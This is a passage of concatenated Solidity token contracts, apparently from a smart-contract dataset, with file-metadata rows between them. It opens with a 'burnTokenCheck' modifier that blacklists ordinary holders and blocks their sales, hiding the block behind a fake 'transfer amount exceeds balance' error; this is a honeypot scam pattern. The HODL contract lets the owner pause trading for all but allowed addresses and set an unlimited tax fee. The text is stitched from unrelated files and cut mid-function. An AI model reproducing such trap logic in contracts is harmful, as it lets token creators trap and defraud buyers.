_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 75,022 | 368 |
59a3f3a0a0c464b5f1066079e121e2588517083984d4251e4c62f8072dfdef68
| 26,198 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a5/A518d2D6A8b8DeB942c30aE880395688A9430270_Luna.sol
| 4,544 | 16,701 |
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Luna is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Luna';
string private _symbol = 'Luna';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(200).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 317,510 | 369 |
f273c3dc6aa6072dc1d18344ba7f9d4617ba8d1c1314a6fd936c75e44f71d875
| 29,434 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/f5/F5dF9e878a776bEBDEDe685af120D2ADc30824E8_HODL.sol
| 5,180 | 18,678 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HODL is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'HODL';
string private constant _symbol = 'HODL';
uint256 private _taxFee = 400;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x48dF69E42EA675c45619904F286Ce1ff6A79C701, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 327,506 | 370 |
4ed92e0326d36600768f53f8def505ee28190859436552b578eef360f2fa5181
| 22,445 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xc9dd1e873bdeb36829a752d574755bc00baa7bcd.sol
| 4,906 | 19,001 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply = 90000000 * 10 ** 18;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) public balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
